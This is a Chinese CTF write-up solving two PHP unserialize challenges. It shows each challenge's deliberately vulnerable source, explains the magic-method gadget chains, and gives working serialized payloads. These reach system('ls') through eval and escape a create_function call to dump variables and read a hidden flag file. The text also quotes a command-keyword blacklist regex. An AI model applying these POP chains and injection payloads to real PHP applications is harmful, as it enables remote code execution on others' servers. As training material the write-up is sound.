Moectf2021 easyunserialize
<?php
class entrance
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class springboard
{
public $middle;
function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute)
{
eval($this->end);
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}
来自 <http://81.68.112.139:8889/>
首先容易看出考点是反序列化。
以前一直以为所谓反序列化漏洞是某种绕过之类的,比如,改变对象实际个数从而绕过wakeup,但是在这道题中是通过构造payload,来执行魔术方法之内的eval命令,漏洞从绕过变成了对序列化内容的注入。
首先理解各种魔术方法何时会被调用。
题目中有四个魔术方法,_construct(),_call(),_get(),_destruct();
_construct() 和 _destruct() 一目了然,分别在构造和销毁对象时被调用。
_call()在调用不存在的类中方法时被调用,其有两个参数,一个是方法名,一个是调用方法中可能赋的参数
_get()在调用不存在的类中数据时被调用,其参数为数据的变量名。
从而观察php代码,看到entrance类中的_desruct()调用了不存在的方法,springboard类中_call()调用了不存在的数据,evil类中_get()调用了eval()执行函数。所以最终希望的是,调用_get()函数
开始构造payload
$a = new entrance(new springboard());
$a->start->middle = new evil("system('ls')";)
echo serialize($a)
理解这段代码,首先new一个entrance 给他赋一个springboard对象,那么通过entrance的构造函数在entrance中$start被赋值了springboard对象。在最后析构的时候,先执行entrance()的析构函数,那么就会执行$start也就是springboard()对象会执行helloword()函数,然而这个方法不存在springboard类中,就会执行_call()魔术方法,为了让middle和evil联系起来,而middlle又是public属性,可以被外部调用,那么就给middle赋一个new evil对象,从而,通过_call()函数中的this->middle->hs成功调用了一个不存在于evil的数据,调用了我们想要调用的_get()方法,从而通过给evil对象赋值,达到任意命令执行的效果。
从本质上来看,这道题想表达的也就是,没有对serialize内容进行限制,造成了注入,也算注入攻击的一种。
最后居然直接是 ls/
BUUCTF 浙江大学秋季挑战赛
<?php
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}
class B{
public $func;
public $arg;
public function show(){
$func = $this->func;
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}
}
public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}
}
if(isset($_GET['pop'])){
$aaa = unserialize($_GET['pop']);
$aaa();
}
else{
highlight_file(__FILE__);
}
?>
来自 <http://1d4840de-c66e-4636-984d-0feb866bcb8f.node4.buuoj.cn:81/>
首先看题知道是反序列化漏洞,观察题目,有两个魔法函数,一个是_invoke(),一个是_toString()
当把对象当成方法调用的时候会触发_invoke(),当把对象当成字符串赋值的时候会触发_toString()。
$a = new A();
$a->var = new B;
$a->var->func = "create_function";
$a->var->arg = "}var_dump(get_defined_vars());//";
echo serialize($a);
?pop=O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:15:"create_function";s:3:"arg";s:32:"}var_dump(get_defined_vars());//";}}
这里还有一个知识点,就是php中的create_function函数
这个样式就可以用到create_function函数
他起到了匿名函数的作用,具体类似如下效果
functionfT($fname) {
echo$fname."Zhang";
}
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo"New anonymous function: $newfunc";
echo$newfunc(2, M_E) . "";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
通过变量传递构造一个函数,其中第一个参数是传递进create_function的参数,第二个参数是create_function的代码就像上述的payload一样,可以对照eval()函数,这个参数的内容都会被当成代码执行,那么我们可以直接先封闭,然后写的代码就可以逃逸出这个函数的执行范围,变成了show函数代码的一部分,这样就相当于变相的任意代码执行,我们先看一下这个函数里有些什么提示(讲实话我有点想不到,他没有提示,姑且认为是一种可以在没信息时的一种寻找信息的手段)
发现真正的flag在Tru3flag.php
过程类似,就是这次需要访问Tru3flag.php,构造payload
$a = new A();
$a->var = new B;
$a->var->func = "create_function";
$a->var->arg = "}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
echo serialize($a);
?pop=O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:15:"create_function";s:3:"arg";s:73:"}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";}}
就得到了正确的结果